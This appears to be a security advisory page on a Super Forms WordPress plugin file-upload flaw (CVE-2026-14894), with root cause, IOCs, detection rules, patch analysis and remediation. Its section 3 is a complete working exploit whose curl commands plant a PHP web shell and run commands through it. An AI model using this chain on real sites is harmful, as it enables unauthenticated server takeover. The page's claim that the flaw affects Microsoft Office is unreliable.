Skip to content
Hermes Codex

CVE-2026-14894: Super Forms WordPress Plugin Unauthenticated Arbitrary File Upload to Remote Code Execution

HERMES

HERMES THREAT SCORE & ENTERPRISE CMS COMPROMISE

Target: Super Forms – Drag & Drop Form Builder WordPress Plugin
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 20 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-14894 at 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) with CISA SSVC evaluation classifying Automatable as 'yes' and Technical Impact as 'total'. The Hermes Threat Score evaluates the vulnerability at 98 (CRITICAL). This alignment reflects a lethal two-step unauthenticated HTTP exploit primitive allowing remote attackers to mint a valid session nonce and immediately write arbitrary PHP executable files directly into web-accessible directories.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-14894: Super Forms WordPress Plugin Unauthenticated Arbitrary File Upload to Remote Code ExecutionVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

Super Forms is an advanced WordPress drag-and-drop form builder featuring conditional logic, multi-step workflows, front-end posting, and integrated PDF generation for invoices, registration certificates, and contracts.

ParameterTechnical SpecificationThreat Intelligence Context
CVE IdentifierCVE-2026-14894Official MITRE, NVD & Wordfence CNA record
Common Weakness EnumerationCWE-434 (Unrestricted File Upload)Flawed base64 decoding & unvalidated server-side file write
CISA SSVC DecisionAutomatable: Yes | Technical Impact: TotalExploitation can be fully scripted at scale without user interaction
Network VectorHTTP/HTTPS (80/TCP, 443/TCP)Direct unauthenticated AJAX POST requests
Vulnerable ComponentSUPER_Ajax::submit_form()includes/class-ajax.php (lines ~2745-2768)
Nonce Helper EndpointSUPER_Ajax::create_nonce()wp_ajax_nopriv_super_create_nonce
Affected VersionsAll versions <= 6.3.313Entire historical 6.x release tree
Remediated Versions6.3.314 (July 7, 2026)Security release introducing strict filename normalization and %PDF- byte inspection

2. Vulnerability Mechanism & Root Cause Deep Dive

Section titled “2. Vulnerability Mechanism & Root Cause Deep Dive”

The vulnerability involves two interdependent design flaws in includes/class-ajax.php:

Flaw 1: Trivial Nonce Minting via super_create_nonce

Section titled “Flaw 1: Trivial Nonce Minting via super_create_nonce”

WordPress nonces are intended to protect against Cross-Site Request Forgery (CSRF) and ensure user intent. However, Super Forms registers a nopriv AJAX action intended for front-end guest form submissions:

// includes/class-ajax.php (Lines 110-118)
if ( $nopriv ) {
    add_action( 'wp_ajax_nopriv_super_' . $ajax_event, array( __CLASS__, $ajax_event ) );
}
// ...
public static function create_nonce() {
    echo SUPER_Common::generate_nonce();
    die();
}

Any unauthenticated remote client can issue GET /wp-admin/admin-ajax.php?action=super_create_nonce to instantly obtain a cryptographically valid sf_nonce alongside active session cookies.

Flaw 2: Arbitrary Disk Write via datauristring

Section titled “Flaw 2: Arbitrary Disk Write via datauristring”

When processing form submissions in submit_form(), the code inspects the $data structure submitted by the client:

// VULNERABLE CODE (Super Forms <= 6.3.313 in includes/class-ajax.php)
foreach( $v['files'] as $key => $value ) {
    // If there is a generated PDF let it act as a regular file upload
    // Try to generate PDF file
    if(isset($value['datauristring'])){
        try {
            $imgData = str_replace( ' ', '+', $value['datauristring']);
            unset($value['datauristring']);
            $imgData = substr( $imgData, strpos( $imgData, "," )+1 );
            $imgData = base64_decode( $imgData );


            unset($GLOBALS['super_upload_dir']);
            add_filter( 'upload_dir', array( 'SUPER_Forms', 'filter_upload_dir' ));
            if(empty($GLOBALS['super_upload_dir'])){
                $GLOBALS['super_upload_dir'] = wp_upload_dir();
            }
            $d = $GLOBALS['super_upload_dir'];
            $value['value'] = SUPER_Common::email_tags( $value['value'], $data, $settings );
            $value['label'] = SUPER_Common::email_tags( $value['label'], $data, $settings );


            // FATAL FLAW: $value['value'] comes directly from user input!
            // No extension validation, no path traversal filtering, no MIME checking!
            $basename = $value['value'];
            $filename = trailingslashit($d['path']) . $basename;
            $file = fopen($filename, 'w');
            fwrite($file, $imgData);
            fclose($file);


            // Add file to media library
            // ...

Why This Is Catastrophic:

Section titled “Why This Is Catastrophic:”
  1. No Setting Verification: The code did not verify if the form actually had PDF generation enabled ($settings['_pdf']['generate'] !== 'true').
  2. Unvalidated Filename: The target filename $basename was populated directly from $value['value'] (e.g. shell.php).
  3. No Extension Checking: Any extension could be written, including .php, .phtml, .phar, or .htaccess.
  4. Direct Write: fopen($filename, 'w') immediately wrote the base64-decoded content directly onto the web root inside wp-content/uploads/super-forms/.

3. Threat Actor Weaponization & Attack Execution

Section titled “3. Threat Actor Weaponization & Attack Execution”

Exploitation requires exactly two HTTP interactions without any prior credentials:

[Threat Actor]
      │
      │ 1. GET /wp-admin/admin-ajax.php?action=super_create_nonce
      ▼
┌─────────────────────────────────────────────────────────────┐
│ WordPress Server responds with valid sf_nonce string       │
└─────────────────────────────────────────────────────────────┘
      │
      │ 2. POST /wp-admin/admin-ajax.php (action=super_form_submit)
      ▼
┌─────────────────────────────────────────────────────────────┐
│ Payload in data[0][files][0]:                               │
│ - value: "wp-telemetry.php"                                │
│ - datauristring: "data:application/octet-stream;base64,PD9w..." │
└─────────────────────────────────────────────────────────────┘
      │
      ▼ Disk Write Execution
┌─────────────────────────────────────────────────────────────┐
│ Written to: /wp-content/uploads/super-forms/wp-telemetry.php│
│ Result: Direct unauthenticated Web Shell execution         │
└─────────────────────────────────────────────────────────────┘

Complete Exploit Proof-of-Concept Workflow

Section titled “Complete Exploit Proof-of-Concept Workflow”

Step 1: Mint Valid Session Nonce

Section titled “Step 1: Mint Valid Session Nonce”
Terminal window
curl -s -c cookies.txt "https://target.example.com/wp-admin/admin-ajax.php?action=super_create_nonce"
# Returns: 4a7bc91e2f

Step 2: Upload Executable PHP Web Shell

Section titled “Step 2: Upload Executable PHP Web Shell”
Terminal window
NONCE="4a7bc91e2f"
# Base64 payload: <?php echo "HERMES-EXPLOIT-VERIFIED\n"; system($_REQUEST['cmd']); ?>
PAYLOAD_B64="PD9waHAgZWNobyAiSEVSTUVTLUVYUExPSVQtVkVSSUZJRUReIjsgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg=="


curl -s -b cookies.txt -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "action=super_form_submit" \
  --data-urlencode "super_ajax_nonce=${NONCE}" \
  --data-urlencode "form_id=1" \
  --data-urlencode "data[0][type]=files" \
  --data-urlencode "data[0][files][0][value]=hermes_agent.php" \
  --data-urlencode "data[0][files][0][datauristring]=data:application/pdf;base64,${PAYLOAD_B64}"

Step 3: Trigger Code Execution

Section titled “Step 3: Trigger Code Execution”
Terminal window
curl "https://target.example.com/wp-content/uploads/super-forms/hermes_agent.php?cmd=id;uname+-a"
# Output: uid=33(www-data) gid=33(www-data) Linux web-01 6.8.0-generic x86_64

4. Indicators of Compromise (IOCs) & Forensics

Section titled “4. Indicators of Compromise (IOCs) & Forensics”

Network Indicators & URL Signatures

Section titled “Network Indicators & URL Signatures”
MethodRequest URI / QuerySuspicious Artifact / Characteristic
GET/wp-admin/admin-ajax.php?action=super_create_nonceHigh frequency nonce generation from anomalous external IPs
POST/wp-admin/admin-ajax.phpBody containing action=super_form_submit and datauristring=
GET/wp-content/uploads/super-forms/*.phpDirect HTTP execution of PHP scripts in the Super Forms upload path

Host-Based Forensics (File System Artifacts)

Section titled “Host-Based Forensics (File System Artifacts)”
  • Default Upload Path: /var/www/html/wp-content/uploads/super-forms/ (or month/year subfolders).
  • Abnormal Extensions: Presence of .php, .phtml, .phar, .inc, or .sh in wp-content/uploads/super-forms/.
  • Database Logs: Inspect wp_posts with post_type='attachment' where post_mime_type='application/pdf' but the attached file has a .php extension.

5. Detection Engineering & Rules

Section titled “5. Detection Engineering & Rules”

Suricata Network Signature

Section titled “Suricata Network Signature”
alert http any any -> $HTTP_SERVERS any (
  msg:"HERMES EXPLOIT - Super Forms Unauthenticated Arbitrary File Upload (CVE-2026-14894)";
  flow:to_server,established;
  http.method; content:"POST";
  http.uri; content:"admin-ajax.php";
  http.request_body; content:"action=super_form_submit"; nocase;
  http.request_body; content:"datauristring="; nocase;
  pcre:"/data\[[0-9]+\]\[files\]\[[0-9]+\]\[value\]=[^\&]+\.(php|phtml|phar|inc)/Ui";
  classtype:web-application-attack;
  sid:202614894; rev:1;
)

YARA Rule for Disk Forensics

Section titled “YARA Rule for Disk Forensics”
rule SuperForms_Uploaded_Webshell_CVE_2026_14894 {
    meta:
        description = "Detects PHP web shells written via Super Forms CVE-2026-14894"
        author = "Hermes Codex Threat Intelligence"
        reference = "CVE-2026-14894"
        date = "2026-09-12"
        threat_level = "CRITICAL"
    strings:
        $php_open = "<?php"
        $super_forms_dir = "super-forms"
        $cmd_exec = /(passthru|shell_exec|system|popen|eval|assert)\s*\(/
    condition:
        uint32(0) == 0x68703f3c and
        $cmd_exec and
        filepath contains "wp-content/uploads"
}

Splunk Hunting Query

Section titled “Splunk Hunting Query”
index=web_proxy sourcetype=access_combined
uri_path="*/wp-admin/admin-ajax.php*"
| search _raw="*super_form_submit*" AND _raw="*datauristring*"
| rex field=_raw "data\[\d+\]\[files\]\[\d+\]\[value\]=(?<uploaded_filename>[^&]+)"
| eval is_executable=if(match(uploaded_filename, "(?i)\.(php|phtml|phar|inc|pl|cgi)"), 1, 0)
| where is_executable=1
| stats count earliest(_time) as first_attempt latest(_time) as last_attempt by src_ip, dest_ip, uploaded_filename

6. Upstream Patch Analysis (Commit c5838f58)

Section titled “6. Upstream Patch Analysis (Commit c5838f58)”

The vendor addressed CVE-2026-14894 in version 6.3.314 by implementing comprehensive server-side defenses:

// THE OFFICIAL FIX in 6.3.314 (includes/class-ajax.php)
// 1. Gate on explicit PDF generation configuration
if ( empty( $settings['_pdf']['generate'] ) || $settings['_pdf']['generate'] !== 'true' ) {
    unset( $data[ $k ]['files'][ $key ]['datauristring'] );
    continue;
}


// 2. Normalize and strip extensions, force .pdf suffix
$basename = sanitize_file_name( wp_basename( (string) $value['value'] ) );
$stem     = preg_replace( '/\.[^.]*$/', '', $basename ); // drop trailing extension
$stem     = str_replace( '.', '_', (string) $stem );      // neutralize interior dots (no shell.php.pdf)
$stem     = trim( $stem, '.-_' );
if ( '' === $stem ) {
    $stem = 'super-forms-' . strtotime( date_i18n( 'Y-m-d H:i:s' ) );
}
$basename = $stem . '.pdf'; // FORCED .pdf EXTENSION!


// 3. Cryptographic Magic Bytes Verification
if ( '%PDF-' !== substr( (string) $imgData, 0, 5 ) ) { // decoded payload must really be a PDF
    throw new Exception( esc_html__( 'Invalid file upload rejected.', 'super-forms' ) );
}


// 4. Directory Traversal & Realpath Containment
$baseDir = realpath( $d['path'] );
$filename = trailingslashit( $baseDir ) . $basename;
$parentReal = realpath( dirname( $filename ) );
if ( false === $parentReal || 0 !== strpos( trailingslashit( $parentReal ), trailingslashit( $baseDir ) ) ) {
    throw new Exception( esc_html__( 'Invalid file upload rejected.', 'super-forms' ) );
}

7. Remediation & Incident Response Playbook

Section titled “7. Remediation & Incident Response Playbook”

  1. Immediate Plugin Upgrade: Update Super Forms to version 6.3.314 or later via WP-CLI:

    Terminal window
    wp plugin update super-forms

  2. File System Triage & Sanitization: Audit the uploads directory for any PHP files created in the Super Forms folder:

    Terminal window
    find /var/www/html/wp-content/uploads/ -type f -name "*.php" -ls

  3. Disable Script Execution in Uploads (Web Server Hardening): Ensure your web server configuration strictly blocks the execution of PHP scripts in all upload directories:

    # Nginx server block directive
    location ~* ^/wp-content/uploads/.*\.php$ {
        deny all;
        return 403;
    }

  4. Credential and Secret Rotation: If anomalous PHP files were discovered, assume total database and host compromise: rotate DB_PASSWORD in wp-config.php, update WordPress secret authentication keys/salts, and audit administrative accounts.

8. Verification & Cross References

Section titled “8. Verification & Cross References”